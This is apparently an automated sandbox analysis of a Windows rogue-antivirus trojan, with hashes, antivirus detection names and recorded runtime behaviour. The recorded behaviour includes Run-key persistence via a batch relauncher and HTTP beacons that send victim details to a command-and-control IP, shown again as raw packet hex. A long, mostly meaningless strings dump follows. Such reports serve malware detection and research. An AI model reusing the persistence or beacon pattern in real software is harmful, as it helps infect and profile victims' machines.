Analysis Date2015-05-06 19:02:34
MD512a9105d53451bbcd1057a17ae9563ab
SHA1d82b03661aaefa6b0eddb6aafb3212a19f3c8721

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 84e482405bf24fef6b62ec964ebc2de4 sha1: 781a7234f7fd30609bb21265f577aaf116ec9808 size: 360448
Section.rdata md5: 3883323a8678427823a7a4ad71cca49a sha1: 4b090c83c760eedc0f378536de7b883fc3ed6feb size: 512
Section.trash md5: 901d84741bc8f6478e78e7a792790b97 sha1: a12941887caebc4ef9a6e44b1bd0fbe2fbca31ec size: 520704
Section.rsrc md5: 026f83437de00ee2c587604389fa260a sha1: 6351b6f7349c81d05f8bb789831219ca68737dbe size: 17920
Section.reloc md5: d41d8cd98f00b204e9800998ecf8427e sha1: da39a3ee5e6b4b0d3255bfef95601890afd80709 size: 0
Timestamp2005-08-04 20:56:09
PEhash0648833c6d11cfb4cf6861ddcf67cb334a422ca7
IMPhash77b2deee8f0c4cc27d4e9354da8a7336
AVAd-AwareGen:Variant.FakeAlert.15
AVAlwil (avast)SwPatch [Wrm]
AVArcabit (arcavir)Gen:Variant.FakeAlert.15
AVAuthentiumW32/FakeAlert.FM.gen!Eldorado
AVAvira (antivir)TR/Fakealert.837632
AVBitDefenderGen:Variant.FakeAlert.15
AVBullGuardGen:Variant.FakeAlert.15
AVCA (E-Trust Ino)Win32/FakeSpypro.B!generic
AVCAT (quickheal)no_virus
AVClamAVTrojan.Generic.Fakesec-9
AVDr. WebTrojan.Fakealert.15580
AVEmsisoftGen:Variant.FakeAlert.15
AVEset (nod32)Win32/Kryptik.EHY
AVFortinetW32/FAKEAV.SMES!tr
AVFrisk (f-prot)W32/FakeAlert.FM.gen!Eldorado
AVF-SecureGen:Variant.FakeAlert.15
AVGrisoft (avg)Cryptic.OV
AVIkarusGen.Variant.Kazy
AVK7no_virus
AVKasperskyPacked.Win32.Krap.ai
AVMalwareBytesRogue.SecurityTool
AVMcafeeFakeAlert-SpyPro.gen.h
AVMicrosoft Security EssentialsRogue:Win32/Winwebsec
AVMicroWorld (escan)Gen:Variant.FakeAlert.15
AVPadvishno_virus
AVRisingTrojan.Win32.Generic.14629482
AVSophosMal/FakeAV-DN
AVSymantecTrojan.FakeAV!gen27
AVTrend MicroTROJ_FAKEAV.SMES
AVTwisterSuspicious.83EC@3200FF35.mg
AVVirusBlokAda (vba32)no_virus

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\52425523 ➝
C:\Documents and Settings\All Users\Application Data\52425523\52425523.exe\\x00
Creates FileC:\Documents and Settings\All Users\Application Data\52425523\52425523.bat
Creates FilePIPE\wkssvc
Creates FileC:\Documents and Settings\All Users\Application Data\52425523\52425523.exe
Creates Process"C:\Documents and Settings\All Users\Application Data\52425523\52425523.bat"
Creates MutexLabel

Process
↳ "C:\Documents and Settings\All Users\Application Data\52425523\52425523.bat"

Creates Processcmd.exe /c start C:\Documents and Settings\All Users\Application Data\52425523\52425523.exe /i

Process
↳ cmd.exe /c start C:\Documents and Settings\All Users\Application Data\52425523\52425523.exe /i

Creates ProcessC:\Documents and Settings\All Users\Application Data\52425523\52425523.exe /i

Process
↳ C:\Documents and Settings\All Users\Application Data\52425523\52425523.exe /i

RegistryHKEY_CURRENT_CONFIG\Software\Microsoft\windows\CurrentVersion\Internet Settings\ProxyEnable ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\52425523\Grep ➝
NULL
RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\52425523 ➝
C:\Documents and Settings\All Users\Application Data\52425523\52425523.exe\\x00
RegistryHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass ➝
1
Creates FileC:\Documents and Settings\Administrator\Local Settings\History\History.IE5\index.dat
Creates FileC:\Documents and Settings\Administrator\Cookies\index.dat
Creates FilePIPE\lsarpc
Creates File\Device\Afd\Endpoint
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temporary Internet Files\Content.IE5\index.dat
Creates Mutexc:!documents and settings!administrator!local settings!history!history.ie5!
Creates MutexWininetConnectionMutex
Creates Mutexc:!documents and settings!administrator!cookies!
Creates Mutexc:!documents and settings!administrator!local settings!temporary internet files!content.ie5!
Creates MutexLabel
Winsock DNS91.188.60.81

Network Details:

HTTP GEThttp://91.188.60.81/set.php?url=5&affid=96801&sts=96801|9|968|01|1|US|1|6|4|1|227|0|0|en|en-US&win=Windows%20XP+3.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
HTTP GEThttp://91.188.60.81/set.php?url=5&affid=96801&sts=96801|9|968|01|1|US|1|6|4|1|227|0|0|en|en-US&win=Windows%20XP+3.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
Flows TCP192.168.1.1:1031 ➝ 91.188.60.81:80
Flows TCP192.168.1.1:1031 ➝ 91.188.60.81:80
Flows TCP192.168.1.1:1032 ➝ 91.188.60.81:80

Raw Pcap
0x00000000 (00000)   47455420 2f736574 2e706870 3f75726c   GET /set.php?url
0x00000010 (00016)   3d352661 66666964 3d393638 30312673   =5&affid=96801&s
0x00000020 (00032)   74733d39 36383031 7c397c39 36387c30   ts=96801|9|968|0
0x00000030 (00048)   317c317c 55537c31 7c367c34 7c317c32   1|1|US|1|6|4|1|2
0x00000040 (00064)   32377c30 7c307c65 6e7c656e 2d555326   27|0|0|en|en-US&
0x00000050 (00080)   77696e3d 57696e64 6f777325 32305850   win=Windows%20XP
0x00000060 (00096)   2b332e30 20485454 502f312e 310d0a55   +3.0 HTTP/1.1..U
0x00000070 (00112)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000080 (00128)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000090 (00144)   6c653b20 4d534945 20372e30 3b205769   le; MSIE 7.0; Wi
0x000000a0 (00160)   6e646f77 73204e54 20362e31 3b205472   ndows NT 6.1; Tr
0x000000b0 (00176)   6964656e 742f342e 303b2053 4c434332   ident/4.0; SLCC2
0x000000c0 (00192)   3b202e4e 45542043 4c522032 2e302e35   ; .NET CLR 2.0.5
0x000000d0 (00208)   30373237 3b202e4e 45542043 4c522033   0727; .NET CLR 3
0x000000e0 (00224)   2e352e33 30373239 3b202e4e 45542043   .5.30729; .NET C
0x000000f0 (00240)   4c522033 2e302e33 30373239 3b204d65   LR 3.0.30729; Me
0x00000100 (00256)   64696120 43656e74 65722050 4320362e   dia Center PC 6.
0x00000110 (00272)   30290d0a 486f7374 3a203931 2e313838   0)..Host: 91.188
0x00000120 (00288)   2e36302e 38310d0a 0d0a                .60.81....

0x00000000 (00000)   47455420 2f736574 2e706870 3f75726c   GET /set.php?url
0x00000010 (00016)   3d352661 66666964 3d393638 30312673   =5&affid=96801&s
0x00000020 (00032)   74733d39 36383031 7c397c39 36387c30   ts=96801|9|968|0
0x00000030 (00048)   317c317c 55537c31 7c367c34 7c317c32   1|1|US|1|6|4|1|2
0x00000040 (00064)   32377c30 7c307c65 6e7c656e 2d555326   27|0|0|en|en-US&
0x00000050 (00080)   77696e3d 57696e64 6f777325 32305850   win=Windows%20XP
0x00000060 (00096)   2b332e30 20485454 502f312e 310d0a55   +3.0 HTTP/1.1..U
0x00000070 (00112)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000080 (00128)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000090 (00144)   6c653b20 4d534945 20372e30 3b205769   le; MSIE 7.0; Wi
0x000000a0 (00160)   6e646f77 73204e54 20362e31 3b205472   ndows NT 6.1; Tr
0x000000b0 (00176)   6964656e 742f342e 303b2053 4c434332   ident/4.0; SLCC2
0x000000c0 (00192)   3b202e4e 45542043 4c522032 2e302e35   ; .NET CLR 2.0.5
0x000000d0 (00208)   30373237 3b202e4e 45542043 4c522033   0727; .NET CLR 3
0x000000e0 (00224)   2e352e33 30373239 3b202e4e 45542043   .5.30729; .NET C
0x000000f0 (00240)   4c522033 2e302e33 30373239 3b204d65   LR 3.0.30729; Me
0x00000100 (00256)   64696120 43656e74 65722050 4320362e   dia Center PC 6.
0x00000110 (00272)   30290d0a 486f7374 3a203931 2e313838   0)..Host: 91.188
0x00000120 (00288)   2e36302e 38310d0a 0d0a                .60.81....


Strings
.v
\
.
.;n.
....+N
.
.+
.
o
..p
*.
....D
`.
....\...
.)
9..
R
.
o
<
.
..
O9.Iv
...
A.
O
..
r..
}{.
.....
u5.h.

DIALOGS
`:}}||
`[]]]%
~~(({<
~\&...+
|?|=|$
 	/,,,
__}}{!
-|&\|'
-::&&(
,~;|;|
;;;%^;
!`@@""
//__>-
/.__??
/'''@)
"^{   
"]]]_#
{`"+"+
@@@'&[
%+ >!)*(
+(,,,,(
	(,,,~"
												
													
!.@.@0
@????0
	./+"0%
0^'',,
0(]]]_
)0;0;*
000gix
000yD\b
00IIzR
\0<0<u
:0:0U<
0>29Xk<
0:::2"e 
[03b***
05		``&
06R29n
!!0a ?
'+0?B;
0bH2GM p
 $0CCC
0	}+DO
0gsvvv
0HRDRDO
0&&iiTt
0K!,%\r
0:Q5SSS
0~^rc\|<
0TTTr;&5
0UUUkD
0}$vQQEE'H4
0<z_jh 
=?]111
111a9$]_
111hE;
111V	=
=11BBk
$11^^h
1`3 T=s
188,,>
1]`8aaHHWFb
18hx:u
-1%9Nj
1?a?aA
~1AEEE
!1C1C@
1n1nAB
1$(N7n
1QH-,N
1'q'q|
1u!	qi
 \\\1:vo
1vvjj[V+
:1XfkZ
1_z-Gp
>^@@@2
|$+++2$
2-|(((
{222)]
}222e0
222S},Hj
222TI[
<}==225
24\|	*Z9
25..\\z
![2___7f
2h6"I'
2OOOp:* 
2qqq.*
2$,$,rK]
2RRRp;
2t=9Zx
2va?"B
\2vvv8
!"2W::
2ySbL[
2yy55(
2z000U
^^^[ 3
~~!!>3
32[&&&
333@g>w
3<3<bg
[3-3-:i
*!^ !%35w
3&6+Ca
3aID!NS
3%!E'H}
3fE?w8
`3gI9#
3JPxv~
3qrrss
"&~3R1@D
;:3yd?
3yy,,^
]]44<(
@. "44
444O_r
||44{_hx
_$$44m
$4$4vm
45ooyy
4BBB(<L
!4dhw 
4Dwww\sS
!4eeoo
4g``  d
4;H;Hf
4jZ&&&$
4kkkcLmB
4	|	|l
4M\S}=
4/ndY'
4OgOg!>
4p4p`y
4+q)?	\
4Q#>>>zD
4;\(sz
4vaaKK8
4WJ_J_
!4-Wmmmu+
4X E&z
^:`5.	
5}@@2L[
555\Zb
55_?fi
5837L:
58l1\`,
5fSL=6W
\]5=G^RESJF
5H11KK
5lInnn
5M		mmu
>5MPxJ
 5\p	+
5!pggg
5	pxxxxc
5tqqq`
=5!T!T
5u`7eb
5U~TLB
5VVnn.	
5X)g~~~
5[-Xph~
6111R[
6;;33:
63vE;2
655__3
6660Tx\
666^BH9
>666 m
~@666p
||669@:
66dd,:
66``&KYa
<6<6tU
6d6dx&
6JY   
6k	7<r
6?===o
6oj)	.
6rrrio
,&6TTT
>6UL~#
_.[6v"ga>
6"""V*N
6VyVy|W<
$7}!_@
7`=^[$
)711::N
>7\3~,
]<73 x
777HE}
777Ouv
777wbz
:777wt
77``?p81
789:;9<1$
78rrr-
@7~A;\
7=$B@@
7@E">iii
7eL5xl
7fa';O
()7k$~
7oliPX
7O<>ME <l
 <7tq@
7U$b;&R
7wMwM2
7x9^f#ppp
7)x@x@
7Zg<<<'=
	=8_&&&~
80hUEs
?}?}81'
8<(((1
&/!81V
8(888I
.888K@?
888K0?
888;MN
/888%v
888`X1
??88~a
/89$$bb
8+++AH\;
8]]]|C
8D!]]](
8_[]d(t
8Eyy	38
8in@@KK
___^8iY
|_8'M=
[8QRzy
8TGG>>}a
8tV ow
8$v@~B}
8xxx?5
8Y$$$x+
8(((zi
8ziNRB
`9-$>]>
:<:<$9
\\\ 9;
9(46/3
9$8)))
`>9.9.
"99''/
,999)@	<
99))I6
99&&Kd
99{{lm
99$$TvP
9		$$c
9CMCM'
!&9C	y
9ddWWe
 9E0!E@
9h9hkW
9Ixxxu8r
-9J___
9\jmmm8d
***9L	
9l\l\c
9\^lx~
9p72000
9QQQL0
9[>;r...
+++9S]
[!9Tu_
9U|Yuuu
9v#kkk
9x#x#DK
9!);y 
)9			Y
9Y=nwnw
9ZWZWt
A=1fRa7
a2o^H...
_a`."9
A_9```Wj
,"@AAA
AAA>|^
aaa8(4
AAA`nj$RSB
AAAnso
-.aaa(%O
^aaaQy5
AAAxpX+
a-a-TN
@AAWW:
.>?@A%BCD?EF1GH
{ABREE
	a)))c
A CC&&>
%%%(Ae
]@a%f^g
aF{^{^P
Ag222:C
Ag-CCC
a[hchc"
a#H^eK
]A#/j{u
A'K5)v
aKwen^C
aOI"D+
APPll7`
a@q8k(
aqgr`;
a)qq??
aRNRNr-L
>Attt"
Au.SSS
aUUxxT
a*vV:6#
?A:w>P
&a{W{W
,a?X?XV
'Aybee))S0g
AyC&jM	
ay-r`;
aYSDQ{!{!3
AZ(#yvvv
,@...b
=>)))B
;~~~~B
B0LP:MZ
b0PPCCO
b].5CCC
B69Fum
b8`XX**
b999w=
B9}Z$$$
>>>bAc
BB((3V
BB5FM^
BBB5Zt
#bBbB;
~bbb C
bbbDAh%?
BBBSWc~
bbbZW|
BBddP%
BBllzI
bbQ&1S
__bb<s
`]B]B_Z
B((cc%
,Bcjcj
bCuuu9
-BdLdL
BD`/ttKK 
b$ey"""
B(F1$$..D
!bfbfV
___Bga
BJ|8A_
B?KnIv
;<BoBo~G
BP\@>:,
BPSs4x
b###q:
	&Br~O
>.BSBSe
	BUa3:0
buh@{R
B~uuGG
bW~r|a
Bwzbbb
.bX$aaa|3
)BxBxu
b\\\xi
"BymyN
BZo:o:mX(
~c ` `]
c~"!!!
c>@@@(
c&""" 
 !|:[C
	!C<<<;
C'---#
{ C0000;3H
c(((0B
c1sss*D
c;]4hJ
;c555=zg
C!90$I0i
C9C9Qd
	}C9KKK
_cA"~!!!	
cB?B?2
Cbybyp.5
ccAAJ[
'[CCC70^
CcCc;`
CCCJ@}
@cccO{r
ccc|('`y
\CCgg{
cCjvY'
@c@cm\
=C`D!!rr6
C`.ds%
]&&&ce
C^e$$$
)cEcEu
cH,9C0
Ch;dc0P
CHppp@
chVirt
C''ii.
Ciiizh
C~I=xxxS
cjXXX8
CkCk!Ff-
Ck((gg
CloseHandle
+=$cLp~
c#M]V:
cnnn>T
cOvOvt
C$p<_x
CR4d\xxx
CreateFileA
CRF9KG
CSc0\\\
C{s.N:
>}ct?{{
<cUcUS1
cuGGGMI
>CUVLj
_c\vDn
	^Cv.g
cv[~N3
C)W'gM
(C/_wQ+++;
cWWW@`
Cx>>>~
cX&^DA
~C[)Y6;
CZ6_?,
c`Z`Z{E
.D			[
D020M\
###d0e
d1O{z<K
d			2D
d2V0.q
D3J#@&
;***d4Q
)^)^d5
DbgPrint
DbgPrompt
@dB:PPPv
dc`___
}!DC#a
dcc}}63
 `==dd
*| ~D~D
		DDce
DDD8O?=
ddd@B{Iq
DDDE`0
`,dddYW
^^DDKy
D_D_VK
`De.e.
DESRRR?
~^DFFF
!DFLL))
dgkpE,
D~---H
;d(i|"
dl *D|
D{lll 
dlllY:/
D~n~nv
dn}+%p
<d`OD!
DO___P
DpNpNz
d*PP]]
d[]p'rYY??
D<Q'''R
	"=:D#r+
Dr...L
&DsDse
/d:TCp
dT`D%b
DV``tt
d@@@w8
dXF9+++
D]]]|Xu
%d}>Y^
dZ;!:"
>>>@e%
&&::_e
(((E_)
]E@$$$
+%%%<E
E)))04
"e4~~~
e5&;HHH(m
e7Z))).
(e_a&W
eAz,,,
EbbbJd
!!!eD0
Ed6q{q{
]]])edi
ee22Oo
]]eeb;
eee\flghijMm
@eeen"
EEE%	ud
	EEEY}
eeG6~'
.e.eJ=
$E$E`n
eePP{*
ee++Ry
eEU999
e+e+=w
;;EEw3j
EF/(/(
effgh`888ijMk
/E~fqh
Eh68@L
e~hTJ"
eI#}H>
eIxxQQ
E[j92q
			%eM
///EMb
emem]C
emmmxE
-eN3N3XT\
e~N~Nu
eO#	Ac
EoK(<1
eOL!L!
*#Eq(--
e" " qFa
-EQ=Q=
eqRpBob
euuu{5
ExG,dL`
ExitProcess
EZuZuy
E\Z\Zq
~ [f,,,
*<<>>f4
 +=F48
f5,LLq9k
f?8___|
) F8h$
F#aef0
	{f(b0
F&_=bxxx
]fcpd!
F;c	VJ
FCW]]]
>fDM0+=
+++F*`e
Ff/?/?
%FFF$6;y
>fffL`
fFKL_G
FFRKrP
f>f>VM
f<G>>>
fhhhph
F`H___U
F	LcLc
-FlFlL
fNFC;;;
f!nvaaa
FNvOOO
f),orJ
F"PxPx
F..qqI
fuYuY_
\FV@	f
FWXWX=?
f`"X>M
^^^FY#
fZ/}<i>
!f>z(R
fZZZN*
g1,mmmj
g"1oooy
g2[0o0o
{g4p777
G7ieywPPP"
>>>G9Du
ga5QQQ
gAKKKX
\GcC'0
g'{CCC
g&Cnnn
G*Dl6x
<Gdldl`
GduuuWO?
ge\]*!
+g^^##E
GEo{o{
g:erer
GetCurrentProcess
GetCurrentProcessId
GetCurrentThreadId
GetLastError
GetModuleHandleA
GetVersionExA
_,Gew-w-
Gfwdwd`
GGaaJ	
ggDD5M
ggg@cb
ggglS(
ggg=oJ
GG[[`h
GGJQ'N
GG:	mo
*g*goL2
gIM`(N
G*I\Oe
gjjjh<0eb
}+gjs:
'G({%L
Gl\@hx
!,G_\_\m
>g___mE
GO`1`1
Godod`
g/o`Ii
gooyyMKX
gozpUI
g_|```P'
;;;Gql
&Grrnnh
]GRRR@
..@@g+u
?GU1U1
GUe e 
GWdddZ
Gx%=tsYsY
gy&J@P
gYZUq-
@GzIzIi
,,""h?
}}..]h
<@@@*H
'H!@!@
H$$$0g?
H1H1W^
h?2?2{lM
///\H3=
\H7F` 
H7.ggg
hA<<<,C
hBBBA}
*hctor
HDBiE-
hdGH)L
hdN,(+
hEE,,p
-<HfHf
h$FOv?
hGcccY
[!||HH
^H<h2b
	H	H86
&].HHH
hhh7~A
hhhGxB
-?@ HHHO
)?hhhtA,
H_H_N=
'H'HsP
<,hIhI
H{iN'(4;<
)h jZ`
"hlAll
hlT'''
h.LXX9
H:MM'']
Hmmma{
H]MU?'@sm
**%%\Hn
H)+;>O
Hpp$$ 
HQ8Q8u
h"Q#!xz
hRJJJe"m
]hrote
HRR;;o
{{{	|hs'
   $Hs
hSX'|~
hthto`j
HUUTT[
HVVVq$
hw9^CCC
hx\]"#
 -H<y;C
hZ9kcSS
`I_   
I_>?>?6
i@6E8E8
i-	6/ +^H}	
i,,884
I-;96P:-Q
[iA !_
IB@@@d%
^i+Cag
I+CjYdr
icq Waa
!/!/Ie
i{eees9
I	!fff
if%f%N?
,ii44-*p
;-i-ig
iiggyu-
+IIIAG
iiiD-u
IIIK#c
III!sv
??II.p
iiRRv[
++iiS4)
\|Ii<X
I`+++k
IkWUCb
iL(+^^^
I%L-#\
Im5=g%
{IM&Wz@
IOsOsZ
;i	/P^A
Ipppj\F
`]i$q-q-T
i{qXxw
iQxxx!S
	iR9977
-i/ rgrg
Ittt\$
:ittt2
;Iu.q}
Ivv22-
"``}}Iy
\IZ	}:
-j#>|~|~
j0WmF%%{{
j3"aN:>
j3z3zw}
-j4|9J
J4vf{{
j82t]J
J9H((zz
j+AAAv
   'JC
JCgZk0#
___@JD
+++J>=E
JEJEI|
jeW/V`s
jH.*Q	X
jI)$d'
{j}}}iQ
~/'J'J@
.J,J,!
jjddN^8
(J(Jdl
jjj&Jx
 JJJ[o3
_jjj[P
JJJp;S
jjjSB|
'J]J]@m}
J#J#NX
"J"J'q
$j?j?y
j	j	YVm
JKL@?H-
JM::::
j^mLWk
j$mm33
@J:N.V
JOJO{m
Jpppv]
JpS,vN
jR/@e@
J]sIA?z
JtBkkkM4
'Ju777
.(.(jV
jVd$.7WF
j}v:V|
?J"w;};})
{{{'&Jwq
*&`jwv
jxelel
J:y 	;
Jy`?:-
jymm''
j%Y}Nq
_+(+(k
>[>[.K
K	000p'
k1EVEV
 k3QcP
k>6-!N
##k7`TA
k9]9]e
k)Addd
K:c;Q<>
Ke)e)*v
KERNEL32.dll
''/kj	
kjqHHH
Kj RNw
%..kk?
]]]kK;
kk77Q$U
kkaaCs
kKDqqqB
, ,$kkEE
kkk/]#
]\KKK2
KKK\5^T
kkk+HYL
KKK?ZG;
[K>K>r
>k>krj
KK##U;
k$Mawaw
K$Mclt
)))kMh?
K%%%[n
K=Oddd
kO	*I^
k@P@Pt
kQ\,&<
!,kqkq
 KRfff^
K] ttt
kV_ADC
K::VV~
k^VVVX
KW4J4Jf
k:WV.M-
KwxFxFQ
K>(((XG;
kx\HLR8
kxkxcrh
K==="y;
Kzi$2yz
L@:::^}
)l0(u?
L0X%wx"5
\L37Len
L444K7
_l*61@
l666Bt
L6]yAW
"L==77
L$8CC^^
LC,k,k
)	%L`d
?L..{{D|
lDfFK>
.@lDtxtx
ld@v]f
LEW???
Lf}GVGV
[l\fY,
:Lgp999
l g's,x
LJeUdc
?>LL<<
'LL//	
|/L/L_1
ll33*D
@LL..a8g
LL--bS
[L#L#I
~LLL@[{1
lll6/C:
/LLL;Cl
LLLVS3U
lllWE?
lll#xFt
//llmO
LL\\QE
==llRk
.<llss
LL)uY 
LL}}@+v
Ll"WP?
'L'LzG
~& @LM
*l`]N%
LOEOEwQ	
l;@OY}
L/P2GGG
=lPP33
LqhryTo
}[;lqj
Lql$	W
LQRJ?feX
LRLR!q
.lSe(555
lST:1j
Lt+*b\
lU<~p2i
=L\UUU
LUUU1M
LU&xlihv
lV@e!P
lvI=CE
LX!QQQ4
lXXX]I
lYJ%%..
lZ_T<f|
]~~~m'
m &===
~~~{(M
..}}M:
M:>>&&
M@-,]]]
[M3M3#t2
M3`o5Vh
M`] 3s*
m4}` v
m5G###%
-m6"6"}
.M)6sss
M\7779E}p
M`999X6
'M)"AA
MaBaB6
m_aV<<
}mBB00N
m+BtBti
M#"???C
M cccpD
,&(*md
mDH(((
m,eee|~
#meeoo
M?@ENO
ME:[[PP
MER L!
Mg...u
:\m=h,
`mIII	
miiiC".Y
	Mk 9=
MK	d	d
M!L hLoca
?m!Li.
ML;;;km
...M~m
MMII04
mmmb`*#
mmmE^j
MMMG\y
mmmK'y
MMM\U#
MMMZe^
MMNN[y.
""MMO,
mm>>UH
mMXX;;
~~m:N#7
,	!MO[
Mooo5 z_L
Mpdddf
Mpd*V`<
.mqqAA
M,_q{wa
((([m-r
mUeWWW
mv6???
mxy #|
~>]n)>
{n||::
n!!&&%
{ N@@@
@N	'	'*
&N1tzzza
N3%	MB
{{%%n8!
n8@K999
n^^994
na ;;;
N'a8D+y=S
N>a>aV
n_&c%-z~
=nDDDf
ndddGH 
N!!ddF;
^nee~~
nf0Q0Q
nGG##o
<nH(1h
nHR=W-
{nHZZZ
NJ!!!/
NK3636R
nk^.]8s
NKKKD'
NLNL<G
nlP"""
N/lpyv
nlWWW>
nn00bI
NN66u	
nneeI3
nnnp~u
=nnnu>
\nnn@yH`
nn;;qF
_,,NNr
[\\NNr
nnx.YiT
(N(NZ`
No:///
N>o>o"
nopB]fflhHjqrk
npp!!e
npTdddw3
 nQ\Q\`
ntdll.dll
NtPulseEvent
]NU`$@
nU888A9z
N)u&{F
nUIV\=
<(Nw}}}
Nwcaaa
Nx RRR
Ny\:=^
ny<<<$k
N@Z7333
n.Zm+z
o~?=$$
\O'_'_
O(;000:^x)
o1=R4}
O333-l
O6E<UQ
o6jgsK
oad@-vz
oBMp#=A:
Ob,YYHH
ocMRn3
OER!|,,
#o f f
OG  77
oGs~M>
ogZgZ(
|OH8Xr
;;;Oih"#~(
oIuFFF
"]olr^
,oMMMk^
:on8&iP
OniTTT
oo;;$!
,oo22;
*oo\\D
!OOO+~
'OOO{\
ooo)6a@
OOOpY 
OOO'`Sn
ooo)y@
[o[o#r
>o[o[v
!!!o\q
Or".dj
!)$o(s
 o!@t1
`oT+C(
Otp"p"
@O}@vq+
O-w-wJ3
	oY>ec
Oy#t^n
&]>O|z
=OZQxp
<<<p_!
(p~	;;
p111?z!
p2	2	C
:P2?nkk
p3k5sl
-"P}}55
P5ie+}"
p<@5=K
P61CCC
p}8sqqq
@p9c3c3	
p9p9Oo
+(PA0 
P$aa{{
]_p@ax9
Pb```=9>
?PBBBo}
Pc$4e 
pcttt|
Pd@333
PDODXYM
PEEE#{?
peeeEr
+++pF:
PfjFtw
Pf   V
$pg[[[
=pgGl%,
phXDXD
!PI444W\
|p=+:(ii
&pk&X{-
P [\l\l4
>PLL44_
plug::
P@n~~DD
pNIIIP
P$P$+/9
!PP		I
p<p<N:
p@ppp-
PPP tN
#%pppV
PPw1mR
__pp?X
=\PQ<j$
Pqwqw=
PRff!!
@#pRkm
pr@r@8W
pSwSw>$
pT9mhyEnt
pU8N8NwE
PV0x>>>
/]Pvvv
PV>xxx
p???(W
$`\P#W=
@'P]x+
(PX`C_
 >.`p`z
^<PZPZ
PZVVV$1
 q&&&-
]]].$q
q==^^	
"Q}}}[
\,:::Q
(q!0&/
Q00ff{
(((q$1
q1??))
Q1T T 
`*`*{q%:3
~~$Q3k6
Q!!!6`
*Q,,,67_\
q:88OO
qApApO
Q.@___b`
qc;LLL
q!-.^\\\D
-qdd++
QdddAshl
/Q@E@E
QG4Y<~:
}qGGGd
Q&h.`\7;e
qi"ys}
Q<;(J>>>
q:::lDJW
^^^QMB
qo0JS\
'Qo6Ab
QObbb}
q((@@om2
qp&`111
qP.k.kV
~qPNttt8
qq448c
'Q{Q{e
<:Q<Q<k
qq~~?oL
	qqq%:
qqq-Fd
~QQQJi
Q^_qqqP
qrS?4!
(Qt3'''
qT`Il|
|$Qu1w
q)UU==
Q,&U&U
>qvX8A
	q?_?_X
}}}Q`Y8
Qzj$Vt=
Qzp?hsd
Q}Zq!N
'QZZyy
_?_?R|
-R%%$$
r[[[^0
-|&,R|2Z
R_4Z""
r5""ll
R8p~~~
R	agO'
RAl}BG
raUZ4'
`R.b3b3
rB"u*HU
R		``C
rc#{QG
`.rdata
R `>|'|,E-
ReadFile
R\EEE1
reeeb%
~R% EE##W
@.reloc
rFK???l
r			 gT
rh1MMMu
RH*<b:8
rhTnnnO
Ri44  
			Ri9
 R)Ih.r
R]]jjxD[
RKvpY;
)rL@l@l
@Rnp-.|
	roooFc
ROv"""4
r@pa)))
}{rPPP
R&q&q".5
Rr{	HH
R<R< J
rrr3WY
RRR52e
(rrr@c
\-RRtt
rruuB^
RRVV;3
rr  x<
r```sU
rteeDD
RtlUlonglongByteSwap
*$. rtUED
Ru[sP-
RU@U@s'Hr
RWwAuPqx
RYYYAUP
Rz`   
$Rzzzn}L(
>.			{s
 s>|>|
}}^^:s
\\\*/s
 S}}}}/
s(0WIG
s/1K{-
s2229(4
s3Z3ZY
[s-9'U
S;`aaa
@S%a;B
sae>z&
sAK=\J
SaY'}f
%S:.:.c
)sCsC?
SD8???
s}G8{{{
 !	s.gD
^sGI{{{
S)HG;2
S}}iik
Si>UPp6p6
sll33?
SlllE1f
sNH	5Z
sOI>n#
sO~UYF
SPCCCpq
?sRQZrZrV
 ~**SS
S}S} @
s>s>Lnt
Sslu!8
sss2FP
#@sss2H
sssAL*I[
$}~sssb
sssM~T
,sssV1
%%ssVh
S@S@)y
,st^=0P
stGuWSJMqMvs
suz"G[
swuJxFyk
SYXJ,9
s()YYY_
^@t???
+t' [|]
t--->'
t1t1!x
   T2w
T3Qjjj
t555	M
$$$@t9
#`TB`l5
tcccF#-
? tdboK
`td}P2
T`*`*_E
T?`EW+
&t   f
t`!fffk
!This program cannot be run in DOS mode.
`tI{{{
TIWxkB
t	JMgK
T?KdGz*x
tkEkEv^
 TkPkPZQa
TLWzdv
Tm@B7'
t#nsnsO
To|_&50
t'oWW))
@.trash
tre e 
tsts'G
TTT0y7
TTTaZp
tttQf{0
tttV8Ws
TTZL[O
t-uA*A
TUL&L&
TULVW@9*
#TUUU;6
tvR777
tW|***
???twF
T))$$X
t_x9u%
=+t/Xi
tXUNNN
TY;66%%
@Ty&&&M
TYYY3s}
TZN&N&?
}}}@\u
!}}}]U
u1===r
u2LL  
u&-3-3
u333Bh
u3sIsI
U5m,j@
U>>>;b7
Ud46%C%C$
??&&ue
UeOxcp
~`ufff
uG5|lz
u^G>`s
{U@J+'
UJ\Cx}
U<<JJq5
UJL/QQ
?uK--++
`Uk4Q:
U#&K&K
U)<'kp
uLL&&yD
umq,,,
un@^\-
unnssX
<un,To
UOC^l+
uP^v`gg//
Upy000
Uqp}}}
)U>@@@QP
U(\QQGG
u:~~~`s
u<u<Ap
UUdd_:
UUU+,)
$`UUU0
UUUcp|
uuuWO:&
uu!!Y)?>
uW<<<@
U~XX$$
UYohualP
_^^^V	
_V2228
v/@2>CCC
V3V3o.
V^^^4p
*V4~QQQ
v555pD
`v!!!AEU
V<Afz!
vahh99
<V"$'B
>`@vcc
+vDpp||
;vEvE=
v&f&f[
VGDnDn
VH#EhOiiiv/
Vhhh~m
vi@,fff
\}vi	,n
VivBAAA
vJ9FF``G
V~Jh1B
Vjjj]d
"vjvj:`c
,VK\mf
VlPTNNNW
#v~:NQ
VO||RR
vPPP-!
Vqfi,K
vq///n
!VQ~n*
('vS)S)
VTU:::
